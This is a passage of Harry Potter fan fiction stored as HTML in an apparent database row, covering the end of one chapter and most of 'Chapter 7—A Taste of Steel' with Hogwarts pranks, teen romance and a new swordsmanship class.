style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Kai watched as Ulrich was presented his\ngifts one by one, he saw a man in a turban stand before Ulrich and bow.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I have brought you a gift from beyond\nthe sea.&#8221; The man with a turban bowed and stepped aside, he held his hand to\nthe side and a veiled woman stepped towards him.&nbsp; &#8220;I present to you Leelee, from the finest\nwizarding family in all of Baghdad.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Kai heard a gasp of disapproval next to\nhim he turned and found Jasmine glaring up </i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;He surely won&#8217;t accept her, he can&#8217;t.&#8221;\nShe was angry.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Why not?&#8221; Kai asked. &#8220;You&#8217;re not\njealous are you?&#8221; He smirked</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Hardly, come on Kai.&nbsp; This is slavery it is wrong on every account.\nI must put a stop to this.&#8221; Jasmine started to walk towards Ulrich.&nbsp; But Kai and Torrin held her back.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Jasmine what are you doing, do you want\nto cause an international incident?&#8221; Kai said struggling to hold her back which\nwas hard considering her determination.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Let go of me both of you.&#8221; Jasmine\ntried to pull away from their grasp.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Look I know how you feel.&#8221; Torrin said.\n&#8220;But this isn&#8217;t the time, bring it up with the council.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Kai felt Jasmine stop struggling and he\nwatched her nod agreeing with Torrin.&nbsp; He\nlooked back up towards Ulrich and his gift.&nbsp;\nThe man in the turban pulled the veil from the woman&#8217;s face&#8212;</i>&nbsp; Ron turned\nover and clutched his pillow.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Yep\nDraco ran through the school in the buff.&nbsp;&nbsp;\nLove is in the air can&#8217;t you just feel it. Well stay tuned for Chapter\n7&#8212;A taste of steel.&nbsp; Please Read and\nReview thanks, Ryoko</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(41, 7, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer: Alright all the\nHarry Potter characters belong to J.K. Rowlings, except for the plot, Zara,\nJewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai, Finley and\nOrvin.&nbsp; Those are mine. So please don&#8217;t\nsue me because I don&#8217;t have anything.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:13.5pt" align="center">Chapter\n7-- A Taste of Steel</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">In potions that morning Harry\nwanted Hermione to sit next to him, but she told him she couldn&#8217;t. She had been\nsitting up in front with Lavender and Parvati since the year started and Snape\nmight start picking on her again if she decided to suddenly change her seat. He\nwatched her with smile as she took her seat in the front of the class\nroom.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Snape entered the class and\nimmediately started teaching, the dungeons door burst open and Zara came\nrunning in out of breath. Snape looked at her with an evil grin, &#8220;five points\noff Gryffindor for a late student.&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">When his back was turned Zara\nflipped him off, mouthing something very rude in silence like a muggle\nwould.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Naughty, naughty Reynolds,&#8221;\nDraco taunted.&nbsp; &#8220;Didn&#8217;t your mother tell\nyou it&#8217;s not nice to swear in the schoolroom?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Didn&#8217;t your mother tell you it&#8217;s\nnot nice to wear that face every day?&#8221; Zara glared.&nbsp; She then took her seat next to Jocko.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;That time of the month again Zara?&#8221; Jocko\nteased.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She turned glaring at him with\npure hate. &#8220;Yeah, do you wanna check for yourself?!&#8221; Jocko immediately scooted\naway from her.&nbsp; He could tell she was in\nno mood to be trifled with.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Jewel leaned over in the aisle\n&#8220;well that shut him up good.&#8221; Jewel whispered, Enrique nodded agreeing.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Without speaking Zara pulled out\nher necklace from her robe, she looked down at the square piece.&nbsp; She was so furious that she was going to use\nit on Snape, who deserves a lot worse then a, &#8220;pig snout.&#8221; She whispered into\nthe necklace piece and lifted it up slightly pointing it at Snape. Lifting her\nwand she mumbled the spell very quietly.&nbsp;\nZara looked up finding that Snape was growing a pig snout. Which was a\ngreat improvement.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione was staring at Snape\noddly, what was going on?&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Jewel looked back at Zara and\ncovered her mouth in laughter, she wanted to do something to him. Just for no\nreason. She pulled out her necklace charm and whispered &#8220;donkey ears.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Jewel looked up and sure enough\nSnape was sprouting donkey ears.&nbsp; She\nalmost couldn&#8217;t contain her laughter.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Snape didn&#8217;t even noticed what\nwas going on as he continued his lessons, he was having everyone grinding up mustard\nseeds and beetle husks together.&nbsp; A\ncouple of students would snicker as Snape passed clearly oblivious to the two\nspells that have been placed on him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Enrique quietly opened his bag\nand pulled out a camera, there was a hole in one of his books he opened the\nbook and propped it up on the table, he put the camera lenses through the hole\nand snapped the picture of Snape in his new face.&nbsp; He was going to make a fortune off this\npicture.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">As the end of class neared the\ntwo spells on Snape were wearing off. He would never know what had happened\nthat morning.&nbsp;&nbsp; The bell sounded\nsignaling the end of class, the students were finishing putting their things\naway.&nbsp; Draco stood and walked down the\nasile into Snape&#8217;s office and closed the door behind him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron smiled at Zara then walking\nover to her, &#8220;that was very interesting Zara.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Thanks,&#8221; She smiled back even\nthough she felt lousy, &#8220;if I&#8217;m a bit rude this week, pay it no mind.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ah.&#8221; Ron nodded in understanding\nknowing that he had overheard what Jocko said.&nbsp;\nHe watched as the students started clearing out of the dungeons laughing\nand talking about what happened to Snape during class, Enrique had a arm around\ntwo Slytherin girls telling them about the picture he took. They both laughed.\nRon noticed Jewel had this horribly jealous look on her face while she was\nwatching Enrique with the two girls.&nbsp; He\ncouldn&#8217;t pass this up, &#8220;I think someone has a crush.&#8221; Ron teased.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Jewel&#8217;s head snapped back at Ron,\nher eyes angry. She was going to hurt him, but she looked at her Zara and she\nknew that her friend really liked him.&nbsp;\nJewel was not going to mess that up.&nbsp;\nZara was her best friend and if she wanted to keep Zara as a friend she\nwould not hex Ron.&nbsp; So she didn&#8217;t this\ntime.&nbsp; Jewel turned on her heel and\nstormed from the class room.&nbsp; Ron looked\ndown at Zara, &#8220;did I say something wrong?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara nodded, &#8220;Jewel has always\nliked Enrique and it&#8217;s not just a crush.&nbsp;\nBut I know Enrique, we have been friends longer than Jewel and I. We\nwere almost brother and sister, Enrique is difficult to get along with if you\nwant a relationship with him, Jewel is always constantly an on and off\ngirl.&nbsp; Sure she&#8217;s probably screwed him a\nfew times, but she loves him so she doesn&#8217;t deny him anything he wants.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Why? Doesn&#8217;t she have any self\nesteem?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Not really,&#8221; Zara said\nregretfully, &#8220;I keep telling her that she should move on and forget about\nEnrique but she doesn&#8217;t. And he will continue to hurt her over and over\nagain.&nbsp; One of these days he&#8217;s gonna\nloose her and he won&#8217;t know what hit him, until it&#8217;s too late.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Much like what&#8217;s happening with\nmy friends.&#8221; Ron saw the comparison it was almost like Zara was him in her own\ncircle of friends. He was always blunt and to the point much like what he\nnoticed in her.&nbsp; And then his two friends\nwere always flirty and so jealous of each other&#8217;s relationships.&nbsp; Just like Zara&#8217;s friends.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara smiled into Ron&#8217;s eyes, &#8220;I\nthink what&#8217;s happening with your friends is changing.&#8221; She looked past Ron at\nHarry who was walking to the front of the classroom while Hermione was\nfinishing up cleaning her area and packing up her books.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron turned around looking in the\nsame direction, he noticed Harry was talking but he couldn&#8217;t hear what was\nbeing said, he shifted his gaze slightly seeing Hermione smiling lightly in a\nnod, then shaking her head in a no motion. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;Well at least they are on speaking terms\nagain.&#8221; Zara said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;After what we walked in on the\nother night, they sure as hell better be on speaking terms again.&#8221; Ron had\nslight laughter in his voice.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara laughed smacking Ron\nplayfully in the arm, &#8220;we better get to that animal class now before we&#8217;re\nlate.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron agreed he then took one last\nlook over at his friends smiling, <i style="mso-bidi-font-style:normal">Well\nit&#8217;s about bloody time</i> he thought to himself.&nbsp; He felt Zara pulling his arm to go out the\ndoor.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione shook her head no for\nthe second time.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry sighed his head tilted to\nthe side &#8220;Why not? Hagrid won&#8217;t mind.&#8221; He grinned.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I&#8217;m not going to blow off Care\nof Magical Creatures Harry, we really do have to go to class.&nbsp; Aren&#8217;t grades important to you at all?&#8221; She\nlooked up at him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes they are important but not\nas much as they are to you I&#8217;m afraid, besides you&#8217;re already acing this class,\none day really isn&#8217;t going to mess up your grade at all.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;You don&#8217;t know that.&#8221; Shaking her head,\nHermione looked directly at him in the most serious expression she could bring\nout.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry made a little pouty face,\nsticking out his lower lip. &#8220;what&#8217;s the matter, don&#8217;t you like me anymore?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione tried not to shake with\nlaughter, she lifted her hand and covered his mouth with her palm, there was no\nway she could have a serious conversation with him he always seemed to make her\nlaugh so easily these days. But she really wanted to be serious this time.&nbsp; &#8220;Harry stop pouting.&nbsp; We really should get to class, you can have\nall the time you want after classes are over.&#8221; She couldn&#8217;t get rid of her\namused smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He lifted his hand to hers and\nbrought it down from his mouth.&nbsp; Sighing,\nHarry looked into her eyes. &#8220;Oh alright, if that&#8217;s what you want.&#8221; He smiled</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes, that&#8217;s what I want.&#8221;\nHermione smiled back, and with her free hand she picked up her bag tossing it\nover her shoulder.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Okay,&#8221; He smirked &#8220;later we can\ndiscuss what I want.&#8221; His gaze drifted from her eyes down to her lips, then back\nup again noticing her cheeks flushing.&nbsp;\nHe laughed lightly and started pulling her hand for her to go with him\nout of the dungeons.&nbsp; &#8220;See now your\nwishing that you should have just blown off Care of Magical creatures so that\nyou could spend a very rewarding hour with yours truly, now don&#8217;t you?&#8221; He\nteased lightly with Hermione walking next to him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione laughed, &#8220;you give\nyourself far too much credit my friend.&#8221; She stared ahead as the both of them\nwere walking down towards Hagrid&#8217;s cabin.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;My, my aren&#8217;t we full of clever\nresponses.&#8221; He grinned.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well I am the cleverest person\nhere.&#8221; She gloated.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ah, you have yet to see clever\nmy beautiful friend.&#8221; Harry replied with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione took a small glance\nthrough the corner of her eye at him, &#8220;did you just call me beautiful?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry nodded, it was as if she\ndidn&#8217;t really believe him.&nbsp; &#8220;Yes I did.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">A small sigh escaped Hermione&#8217;s\nlips, &#8220;well you really shouldn&#8217;t say things that aren&#8217;t true.&#8221; A few feet from\nthe class Harry abruptly stopped and pulled Hermione&#8217;s hand to stop her also,\nshe looked up at him confused as he looked absolutely serious.&nbsp; The most serious she had ever seen him\nlook.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Don&#8217;t ever say that.&#8221; Harry\nlooked directly into her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Say what?&#8221; Hermione felt a bit\nconfused.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Don&#8217;t ever say that you aren&#8217;t\nbeautiful, you are.&#8221; He watched her shake her head no, &#8220;and I always say\nexactly what I mean.&#8221; He knew about her fears and worries he could read them in\nher eyes whenever she looked at him and in just these short past few days she\nclearly wore her fears about him as if the whole world could see them, and she\ncouldn&#8217;t hide these. Hermione looked away from him, towards the ground.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">With a gentle hand, Harry lifted\nher chin so she could look up at him, &#8220;I&#8217;m not just feeding you a whole bunch\nof meaningless lines, you are not the next one on some silly guy list.&nbsp; I really, honestly care about you and I never\nsay anything that I don&#8217;t mean.&#8221;&nbsp; Even though\nthis really wasn&#8217;t the most romantic place to bear your soul to the woman you\nlove, it was as good a time as any. &#8220;I just wanted to say that, Hermione I&#8212;&#8220; he\nwas interrupted by Hagrid starting the class.&nbsp;\nHe looked disappointed as he looked towards Hagrid and then back at\nHermione, &#8220;we&#8217;ll talk about this later.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione smiled she somehow knew\nwhat he was going to say, but she wanted to actually hear the words.&nbsp; &#8220;Sure.&#8221; She then turned and they both\ncontinued to walk towards the rest of the class, while Hagrid began with the\nunicorns and the class was divided into their groups again.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">They watched the unicorn as it\ncame up, it reluctantly looked towards Hermione.&nbsp; She felt the odd presence of the unicorn as\nit approached her slowly.&nbsp;&nbsp; It seemed\nalmost afraid to go near her this time.&nbsp;\nHermione felt very strange with the way it was looking at her.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hagrid looked over and saw the\noddity in this reaction the unicorn approached her but still kept it&#8217;s\ndistance.&nbsp; He walked over to Hermione&#8217;s\ngroup, and the unicorn moved away slightly keeping more of a distance from them\nnow.&nbsp; Hagrid looked down at Hermione, &#8220;I\ndon&#8217;t want to over step my bounds here, but Hermione has something changed?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione shook her head in\nconfusion, &#8220;no, I&#8217;m still. You know.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Jewel looked over at both Hermione\nand Harry, she then looked up at Hagrid. &#8220;How about her thoughts, have her\nthoughts changed?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What do you mean?&#8221; Hermione\nstared at Jewel, she really didn&#8217;t like her much.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I mean it&#8217;s a common fact that\nsome unicorns are known to be telepathic, and if your thoughts have changed.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;My thoughts have remained the\nsame.&#8221; Hermione replied looking directly at Jewel.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh really?&#8221; Jewel looked at both\nHermione and Harry, then directly at Hermione. &#8220;The unicorn knows something is,\n&#8220;she paused.&nbsp; &#8220;up.&#8221; She teased cruely.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Both Hermione and Harry flushed,\nglaring at Jewel.&nbsp; They saw Enrique\nstand.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Jewel leave them alone, that&#8217;s\nnot why.&#8221; Enrique looked at Hermione with a soft and gentle gaze, &#8220;it senses\nthat you don&#8217;t need it anymore, I remember the time when you rode it. You\nneeded to feel a certain way and it helped you.&nbsp;\nIt now senses something different, possibly extreme happiness. I know\npeople have read that unicorns go to young virgin maidens, but they didn&#8217;t say\nthat most of the young maidens were troubled or lonely. The unicorn relieves\nthe pain or sadness that the young lady is feeling, even if it is for only a\nmoment.&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione nodded and she\nunderstood, she looked over at the unicorn which was still looking in her\ndirection.&nbsp; It did approach her as if to\nonly say something and then go on its merry way.&nbsp; She turned towards Enrique, &#8220;how is it that\nyou know so much about unicorns?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I have a lot of free time on my\nhands.&#8221; Enrique replied with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Jewel caught that smile and she\ndidn&#8217;t like it, she quickly walked over to Harry, &#8220;I would watch out for him if\nI were you.&#8221; She warned.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry looked at Jewel with\nsuspicion, &#8220;why?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Guess who&#8217;s next on his gotta\nhave list.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well she&#8217;s not interested, I\nknow that for a fact.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Jewel smiled slyly &#8220;well why do\nyou think she&#8217;s on the, gotta have list?&nbsp;\nOf course she&#8217;s not interested. Enrique goes for the not interested\nones, the unobtainable ones.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Look you might be after Blue\nhair over there, but there is no way that Hermione would ever, and I mean never\neven consider him.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What reality do you live in, not\nthe real world that&#8217;s for sure.&nbsp; Enrique\ncan have any woman he wants. And it makes no difference if he had blue hair or\nbrown hair.&#8221; She pointed out and walked from Harry.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry stared at Enrique who was\nopenly staring and talking with Hermione, she didn&#8217;t look too interested.&nbsp; She kept looking towards the ground.&nbsp; Harry knew he didn&#8217;t have anything to worry\nabout from her, but then that Enrique guy seemed sneakier than even Draco\nMalfoy at times.&nbsp; He would keep his eye\non him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">*** </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&nbsp;\nNearing four o&#8217;clock all the six year students made their way to the new\nclass, the&nbsp; students came into what\nlooked like a giant auditorium.&nbsp; They\nlooked about and noticed a place for them to stand, Gryffindor and Hufflepuff\non one side of the room and Ravenclaw and Slytherin on the opposite side of the\nroom. They stood in two straight lines looking at each other.&nbsp; The new teacher Morat Atkins walked into the\nroom carrying a large black bag over his shoulder, his assistant Oria Bunn, a\nshort blonde woman came in after carrying a similar bag.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Both Atkins and Oria went over to\na large table and placed the bags on it, he turned to Oria, &#8220;Okay take them out\nand set them on the table while I go and tend to the class.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes sir.&#8221; And she immediately\nstarted opening the bag.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Atkins looked at the many faces\nof the students with a pleasant smile, &#8220;hello class I am Atkins, welcome to my\nclass.&nbsp; Ah, it is so nice to be back at\nHogwarts I remember my school days, and now I am back teaching, what a treat.&#8221;\nAtkins looked around at the students but most appreciative towards the\nSlytherins, &#8220;just to give you a little back ground information I used to be in\nSlytherin when I went to school here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Everyone but the Slytherins\ngasped and knew what that meant.&nbsp; Atkins\nlaughed, &#8220;Listen I really don&#8217;t care what house you are in, I treat everyone\nexactly the same regardless of race, gender or house you were sorted into.&#8221; He\ntook a breath, &#8220;Well enough of the small talk.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Atkins walked through the six\nyear students with his hands behind his back, giving them each a glance.&nbsp; &#8220;What do you think you are going to do when\nmagic fails you?&#8221; He stopped in the middle looking at the students, then\ncontinued to walk down the line.&nbsp; He\nturned around and pulled his cape open. Attached to a leather belt around his\nwaste was a fine broad sword.&nbsp; &#8220;This\nshould be your answer.&#8221; Atkins pulled the sword from it&#8217;s sheath and held it up\nso everyone could see it.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Are we all going to learn to use\nthat, that thing?&#8221; Lavender wasn&#8217;t one for weapons other than a wand.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Atkins smiled down at 